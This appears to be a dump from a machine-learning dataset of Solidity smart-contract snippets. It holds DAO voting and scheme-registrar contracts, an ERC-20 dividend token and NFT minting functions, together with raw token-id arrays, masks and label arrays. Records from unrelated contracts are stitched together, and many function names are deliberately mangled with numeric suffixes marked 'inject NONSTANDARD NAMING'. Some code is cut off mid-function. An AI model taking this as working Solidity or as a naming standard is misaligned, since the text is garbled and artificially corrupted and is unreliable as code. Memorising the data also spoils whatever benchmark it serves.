AmountToStake", "uint256 Nonce" )); mapping(address=>uint256) public stakesNonce; //stakes Nonce constructor(IERC20 _stakingToken) public // solhint-disable-next-line no-empty-blocks GenesisProtocolLogic(_stakingToken) { } function STAKE53(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) { //inject NONSTANDARD NAMING return _STAKE234(_proposalId, _vote, _amount, msg.sender); } function STAKEWITHSIGNATURE42( //inject NONSTANDARD NAMING bytes32 _proposalId, uint256 _vote, uint256 _amount, uint256 _nonce, uint256 _signatureType, bytes calldata _signature ) external returns(bool) { // Recreate the digest the user signed bytes32 delegationDigest; if (_signatureType == 2) { delegationDigest = keccak256( abi.encodePacked( delegation_hash_eip712291, keccak256( abi.encodePacked( address(this), _proposalId, _vote, _amount, _nonce) ) ) ); } else { delegationDigest = keccak256( abi.encodePacked( address(this), _proposalId, _vote, _amount, _nonce) ).TOETHSIGNEDMESSAGEHASH747(); } address staker = delegationDigest.RECOVER336(_signature); //a garbage staker address due to wrong signature will revert due to lack of approval and funds. require(staker != address(0), "staker address cannot be 0"); require(stakesNonce[staker] == _nonce); stakesNonce[staker] = stakesNonce[staker].ADD15(1); return _STAKE234(_proposalId, _vote, _amount, staker); } function VOTE536(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter) //inject NONSTANDARD NAMING external VOTABLE853(_proposalId) returns(bool) { Proposal storage proposal = proposals[_proposalId]; Parameters memory params = parameters[proposal.paramsHash]; address voter; if (params.voteOnBehalf != address(0)) { require(msg.sender == params.voteOnBehalf); voter = _voter; } else { voter = msg.sender; } return INTERNALVOTE757(_proposalId, voter, _vote, _amount); } function CANCELVOTE202(bytes32 _proposalId) external VOTABLE853(_proposalId) { //inject NONSTANDARD NAMING //this is not allowed return; } function EXECUTE916(bytes32 _proposalId) external VOTABLE853(_proposalId) returns(bool) { //inject NONSTANDARD NAMING return _EXECUTE501(_proposalId); } function GETNUMBEROFCHOICES589(bytes32) external view returns(uint256) { //inject NONSTANDARD NAMING return num_of_choices613; } function GETPROPOSALTIMES314(bytes32 _proposalId) external view returns(uint[3] memory times) { //inject NONSTANDARD NAMING return proposals[_proposalId].times; } function VOTEINFO167(bytes32 _proposalId, address _voter) external view returns(uint, uint) { //inject NONSTANDARD NAMING Voter memory voter = proposals[_proposalId].voters[_voter]; return (voter.vote, voter.reputation); } function VOTESTATUS96(bytes32 _proposalId, uint256 _choice) external view returns(uint256) { //inject NONSTANDARD NAMING return proposals[_proposalId].votes[_choice]; } function ISVOTABLE375(bytes32 _proposalId) external view returns(bool) { //inject NONSTANDARD NAMING return _ISVOTABLE722(_proposalId); } function PROPOSALSTATUS186(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) { //inject NONSTANDARD NAMING return ( proposals[_proposalId].preBoostedVotes[yes596], proposals[_proposalId].preBoostedVotes[no391], proposals[_proposalId].stakes[yes596], proposals[_proposalId].stakes[no391] ); } function GETPROPOSALORGANIZATION49(bytes32 _proposalId) external view returns(bytes32) { //inject NONSTANDARD NAMING return (proposals[_proposalId].organizationId); } function GETSTAKER814(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) { //inject NONSTANDARD NAMING return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount); } function VOTESTAKE56(bytes32 _proposalId, uint256 _vote) external view returns(uint256) { //inject NONSTANDARD NAMING return proposals[_proposalId].stakes[_vote]; } function WINNINGVOTE889(bytes32 _proposalId) external view returns(uint256) { //inject NONSTANDARD NAMING return proposals[_proposalId].winningVote; } function STATE293(bytes32 _proposalId) external view returns(ProposalState) { //inject NONSTANDARD NAMING return proposals[_proposalId].state; } function ISABSTAINALLOW791() external pure returns(bool) { //inject NONSTANDARD NAMING return false; } function GETALLOWEDRANGEOFCHOICES990() external pure returns(uint256 min, uint256 max) { //inject NONSTANDARD NAMING return (yes596, no391); } function SCORE81(bytes32 _proposalId) public view returns(uint256) { //inject NONSTANDARD NAMING return _SCORE635(_proposalId); } } // File: contracts/votingMachines/VotingMachineCallbacks.sol pragma solidity ^0.5.4; contract VotingMachineCallbacks is VotingMachineCallbacksInterface { struct ProposalInfo { uint256 blockNumber; // the proposal's block number Avatar avatar; // the proposal's avatar } modifier ONLYVOTINGMACHINE284(bytes32 _proposalId) { //inject NONSTANDARD NAMING require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine"); _; } // VotingMaching -> proposalId -> ProposalInfo mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo; function MINTREPUTATION981(uint256 _amount, address _beneficiary, bytes32 _proposalId) //inject NONSTANDARD NAMING external ONLYVOTINGMACHINE284(_proposalId) returns(bool) { Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; if (avatar == Avatar(0)) { return false; } return ControllerInterface(avatar.OWNER574()).MINTREPUTATION981(_amount, _beneficiary, address(avatar)); } function BURNREPUTATION898(uint256 _amount, address _beneficiary, bytes32 _proposalId) //inject NONSTANDARD NAMING external ONLYVOTINGMACHINE284(_proposalId) returns(bool) { Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; if (avatar == Avatar(0)) { return false; } return ControllerInterface(avatar.OWNER574()).BURNREPUTATION898(_amount, _beneficiary, address(avatar)); } function STAKINGTOKENTRANSFER53( //inject NONSTANDARD NAMING IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId) external ONLYVOTINGMACHINE284(_proposalId) returns(bool) { Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; if (avatar == Avatar(0)) { return false; } return ControllerInterface(avatar.OWNER574()).EXTERNALTOKENTRANSFER167(_stakingToken, _beneficiary, _amount, avatar); } function BALANCEOFSTAKINGTOKEN878(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) { //inject NONSTANDARD NAMING Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) { return 0; } return _stakingToken.BALANCEOF995(address(avatar)); } function GETTOTALREPUTATIONSUPPLY50(bytes32 _proposalId) external view returns(uint256) { //inject NONSTANDARD NAMING ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId]; if (proposal.avatar == Avatar(0)) { return 0; } return proposal.avatar.nativeReputation().TOTALSUPPLYAT652(proposal.blockNumber); } function REPUTATIONOF984(address _owner, bytes32 _proposalId) external view returns(uint256) { //inject NONSTANDARD NAMING ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId]; if (proposal.avatar == Avatar(0)) { return 0; } return proposal.avatar.nativeReputation().BALANCEOFAT780(_owner, proposal.blockNumber); } } // File: contracts/universalSchemes/SchemeRegistrar.sol pragma solidity ^0.5.4; contract SchemeRegistrar is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface { event NEWSCHEMEPROPOSAL971( //inject NONSTANDARD NAMING address indexed _avatar, bytes32 indexed _proposalId, address indexed _intVoteInterface, address _scheme, bytes32 _parametersHash, bytes4 _permissions, string _descriptionHash ); event REMOVESCHEMEPROPOSAL965(address indexed _avatar, //inject NONSTANDARD NAMING bytes32 indexed _proposalId, address indexed _intVoteInterface, address _scheme, string _descriptionHash ); event PROPOSALEXECUTED934(address indexed _avatar, bytes32 indexed _proposalId, int256 _param); //inject NONSTANDARD NAMING event PROPOSALDELETED307(address indexed _avatar, bytes32 indexed _proposalId); //inject NONSTANDARD NAMING // a SchemeProposal is a proposal to add or remove a scheme to/from the an organization struct SchemeProposal { address scheme; // bool addScheme; // true: add a scheme, false: remove a scheme. bytes32 parametersHash; bytes4 permissions; } // A mapping from the organization (Avatar) address to the saved data of the organization: mapping(address=>mapping(bytes32=>SchemeProposal)) public organizationsProposals; // A mapping from hashes to parameters (use to store a particular configuration on the controller) struct Parameters { bytes32 voteRegisterParams; bytes32 voteRemoveParams; IntVoteInterface intVote; } mapping(bytes32=>Parameters) public parameters; function EXECUTEPROPOSAL422(bytes32 _proposalId, int256 _param) external ONLYVOTINGMACHINE284(_proposalId) returns(bool) { //inject NONSTANDARD NAMING Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar; SchemeProposal memory proposal = organizationsProposals[address(avatar)][_proposalId]; require(proposal.scheme != address(0)); delete organizationsProposals[address(avatar)][_proposalId]; emit PROPOSALDELETED307(address(avatar), _proposalId); if (_param == 1) { // Define controller and get the params: ControllerInterface controller = ControllerInterface(avatar.OWNER574()); // Add a scheme: if (proposal.addScheme) { require(controller.REGISTERSCHEME37( proposal.scheme, proposal.parametersHash, proposal.permissions, address(avatar)) ); } // Remove a scheme: if (!proposal.addScheme) { require(controller.UNREGISTERSCHEME785(proposal.scheme, address(avatar))); } } emit PROPOSALEXECUTED934(address(avatar), _proposalId, _param); return true; } function SETPARAMETERS600( //inject NONSTANDARD NAMING bytes32 _voteRegisterParams, bytes32 _voteRemoveParams, IntVoteInterface _intVote ) public returns(bytes32) { bytes32 paramsHash = GETPARAMETERSHASH529(_voteRegisterParams, _voteRemoveParams, _intVote); parameters[paramsHash].voteRegisterParams = _voteRegisterParams; parameters[paramsHash].voteRemoveParams = _voteRemoveParams; parameters[paramsHash].intVote = _intVote; return paramsHash; } function GETPARAMETERSHASH529( //inject NONSTANDARD NAMING bytes32 _voteRegisterParams, bytes32 _voteRemoveParams, IntVoteInterface _intVote ) public pure returns(bytes32) { return keccak256(abi.encodePacked(_voteRegisterParams, _voteRemoveParams, _intVote)); } function PROPOSESCHEME503( //inject NONSTANDARD NAMING Avatar _avatar, address _scheme, bytes32 _parametersHash, bytes4 _permissions, string memory _descriptionHash ) public returns(bytes32) { // propose require(_scheme != address(0), "scheme cannot be zero"); Parameters memory controllerParams = parameters[GETPARAMETERSFROMCONTROLLER560(_avatar)]; bytes32 proposalId = controllerParams.intVote.PROPOSE661( 2, controllerParams.voteRegisterParams, msg.sender, address(_avatar) ); SchemeProposal memory proposal = SchemeProposal({ scheme: _scheme, parametersHash: _parametersHash, addScheme: true, permissions: _permissions }); emit NEWSCHEMEPROPOSAL971( address(_avatar), proposalId, address(controllerParams.intVote), _scheme, _parametersHash, _permissions, _descriptionHash ); organizationsProposals[address(_avatar)][proposalId] = proposal; proposalsInfo[address(controllerParams.intVote)][proposalId] = ProposalInfo({ blockNumber:block.number, avatar:_avatar }); return proposalId; } function PROPOSETOREMOVESCHEME279(Avatar _avatar, address _scheme, string memory _descriptionHash) //inject NONSTANDARD NAMING public returns(bytes32) { require(_scheme != address(0), "scheme cannot be zero"); bytes32 paramsHash = GETPARAMETERSFROMCONTROLLER560(_avatar); Parameters memory params = parameters[paramsHash]; IntVoteInterface intVote = params.intVote; bytes32 proposalId = intVote.PROPOSE661(2, params.voteRemoveParams, msg.sender, address(_avatar)); organizationsProposals[address(_avatar)][proposalId].scheme = _scheme; emit REMOVESCHEMEPROPOSAL965(address(_avatar), proposalId, address(intVote), _scheme, _descriptionHash); proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({ blockNumber:block.number, avatar:_avatar }); return proposalId; } }
inject NONSTANDARD NAMING
function _TRANSFER402(address from, address to, uint256 value) internal {
15,855,656
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 16596, 6553, 24, 3103, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 460, 13, 2713, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/7700/0xd3694c310EcfbcBC832f669d4C5767a79dC8a2BB/sources/contracts/digidaemons.sol
@notice will add an address to PaymentSplitter by onlyDev role
function addPayee(address addy, uint256 shares) public onlyDev { _addPayee(addy, shares); }
4,655,897
[ 1, 20194, 527, 392, 1758, 358, 12022, 26738, 635, 1338, 8870, 2478, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 527, 9148, 1340, 12, 2867, 527, 93, 16, 2254, 5034, 24123, 13, 1071, 1338, 8870, 288, 203, 565, 389, 1289, 9148, 1340, 12, 31934, 16, 24123, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.5.2; import "openzeppelin-solidity/contracts/token/ERC20/ERC20.sol"; import "openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol"; contract DividendToken is ERC20Detailed, ERC20 { event ReleaseDividendsRights(address indexed to, uint value); event AcceptDividends(address indexed from, uint value); constructor(string memory name, string memory symbol, uint totalSupply) ERC20Detailed(name, symbol, 18) public{ _mint(msg.sender, totalSupply); } mapping (address => uint) private _dividendsRightsFix; uint private _dividendsPerToken; uint constant DECIMAL_MULTIPLIER = 1e18; uint constant INT256_MAX = 1 << 255 - 1; function dividendsRightsOf(address owner) public view returns (uint) { return _dividendsRightsOf(owner); } function _dividendsRightsOf(address owner) internal view returns (uint) { uint rights = _dividendsPerToken * balanceOf(owner) / DECIMAL_MULTIPLIER + _dividendsRightsFix[owner]; return int(rights) < 0 ? 0 : rights; } function _releaseDividendsRights(address payable to, uint value) internal returns(bool) { uint dividendsRights = _dividendsRightsOf(to); require(dividendsRights >= value); _dividendsRightsFix[to] -= value; /*here is no reentrancy*/ (bool success, bytes memory data) = to.call.gas(200000).value(value)(""); require(success); emit ReleaseDividendsRights(to, value); return true; } function releaseDividendsRights(address payable to, uint value) public returns(bool) { return _releaseDividendsRights(to, value); } /** * @dev Update dividends rights fix * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function _dividendsRightsFixUpdate(address _from, address _to, uint _value) private { if (_from != _to) { uint _balanceFrom = balanceOf(_from); uint _balanceTo = balanceOf(_to); _dividendsRightsFix[_from] += _dividendsPerToken * _balanceFrom / DECIMAL_MULTIPLIER - _dividendsPerToken * (_balanceFrom - _value) / DECIMAL_MULTIPLIER; _dividendsRightsFix[_to] += _dividendsPerToken * _balanceTo / DECIMAL_MULTIPLIER - _dividendsPerToken * (_balanceTo + _value) / DECIMAL_MULTIPLIER; } } /** * @dev transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint value) public returns (bool) { _dividendsRightsFixUpdate(msg.sender, to, value); _transfer(msg.sender, to, value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public returns (bool) { _dividendsRightsFixUpdate(_from, _to, _value); ERC20.transferFrom(_from, _to, _value); return true; } function () external payable { require(totalSupply() > 0); _dividendsPerToken = _dividendsPerToken.add(msg.value.mul(DECIMAL_MULTIPLIER)/totalSupply()); require(_dividendsPerToken.mul(totalSupply()) <= INT256_MAX); emit AcceptDividends(msg.sender, msg.value); } }
* @dev transfer token for a specified address @param to The address to transfer to. @param value The amount to be transferred./
function transfer(address to, uint value) public returns (bool) { _dividendsRightsFixUpdate(msg.sender, to, value); _transfer(msg.sender, to, value); return true; }
972,519
[ 1, 13866, 1147, 364, 279, 1269, 1758, 225, 358, 1021, 1758, 358, 7412, 358, 18, 225, 460, 1021, 3844, 358, 506, 906, 4193, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 7412, 12, 2867, 358, 16, 2254, 460, 13, 1071, 1135, 261, 6430, 13, 288, 203, 565, 389, 2892, 350, 5839, 18464, 8585, 1891, 12, 3576, 18, 15330, 16, 358, 16, 460, 1769, 203, 565, 389, 13866, 12, 3576, 18, 15330, 16, 358, 16, 460, 1769, 203, 565, 327, 638, 31, 203, 225, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x081C3D48E7C4CCE63E7BC838d83B8556B17261c6/sources/contracts/clipFinanceNFT.sol
@title whitelist mint NFTs @param number of tokens to mint @dev Caller must be on whitelist @dev Whitelist sale must be active @dev Must send enough ETH for the transaction/
function inviteListMint( uint256 _numberOfTokens, bytes32[] calldata _merkleProof, string calldata _inviteCode, uint256 _team ) public payable { require(inviteListSaleIsActive, "Whitelist Not Active"); require( inviteListSalePrice * _numberOfTokens <= msg.value, "Not Enough ETH" ); bytes32 leaf; if (bytes(_inviteCode).length == 0) { leaf = keccak256(abi.encodePacked(msg.sender)); leaf = keccak256(abi.encodePacked(_inviteCode)); MintData storage mintData = mintDataMap[leaf]; require(mintData.addr == address(0), "Already used"); mintData.addr = msg.sender; mintData.amount = _numberOfTokens; } checkValidity(_merkleProof, leaf); inviteListMinted[msg.sender] = true; for (uint256 i = 0; i < _numberOfTokens; i++) { uint256 teamMembersMintedIndex = teamMembersMinted[_team]; uint256 mintIndex = _team * teamMembers + teamMembersMintedIndex; teamMembersMintedIndex += 1; mintIndex += 1; teamMembersMinted[_team] = teamMembersMintedIndex; require( mintIndex <= maxNFTs && teamMembersMintedIndex <= teamMembers, "Sold Out" ); soulBoundControl(mintIndex, block.timestamp + soulBoundOnMint); _safeMint(msg.sender, mintIndex); emit NFTMinted(msg.sender, mintIndex); } }
17,165,010
[ 1, 20409, 312, 474, 423, 4464, 87, 282, 1300, 434, 2430, 358, 312, 474, 282, 20646, 1297, 506, 603, 10734, 282, 3497, 7523, 272, 5349, 1297, 506, 2695, 282, 6753, 1366, 7304, 512, 2455, 364, 326, 2492, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 19035, 682, 49, 474, 12, 203, 3639, 2254, 5034, 389, 2696, 951, 5157, 16, 203, 3639, 1731, 1578, 8526, 745, 892, 389, 6592, 15609, 20439, 16, 203, 3639, 533, 745, 892, 389, 27154, 1085, 16, 203, 3639, 2254, 5034, 389, 10035, 203, 565, 262, 1071, 8843, 429, 288, 203, 3639, 2583, 12, 27154, 682, 30746, 2520, 3896, 16, 315, 18927, 2288, 8857, 8863, 203, 3639, 2583, 12, 203, 5411, 19035, 682, 30746, 5147, 380, 389, 2696, 951, 5157, 1648, 1234, 18, 1132, 16, 203, 5411, 315, 1248, 1374, 4966, 512, 2455, 6, 203, 3639, 11272, 203, 3639, 1731, 1578, 7839, 31, 203, 3639, 309, 261, 3890, 24899, 27154, 1085, 2934, 2469, 422, 374, 13, 288, 203, 5411, 7839, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 3576, 18, 15330, 10019, 203, 5411, 7839, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 24899, 27154, 1085, 10019, 203, 5411, 490, 474, 751, 2502, 312, 474, 751, 273, 312, 474, 31982, 63, 12070, 15533, 203, 5411, 2583, 12, 81, 474, 751, 18, 4793, 422, 1758, 12, 20, 3631, 315, 9430, 1399, 8863, 203, 5411, 312, 474, 751, 18, 4793, 273, 1234, 18, 15330, 31, 203, 5411, 312, 474, 751, 18, 8949, 273, 389, 2696, 951, 5157, 31, 203, 3639, 289, 203, 203, 3639, 866, 19678, 24899, 6592, 15609, 20439, 16, 7839, 1769, 203, 203, 3639, 19035, 682, 49, 474, 329, 63, 3576, 18, 15330, 65, 273, 638, 31, 203, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 2 ]
./partial_match/80001/0xB2904746B58761f26607411F118e2E82c9978fa2/sources/contracts/libraries/LibAppStorage.sol
function diamondStorage() internal pure returns (AppStorage storage ds) { assembly { ds.slot := 0 } }
library LibAppStorage { }
8,795,303
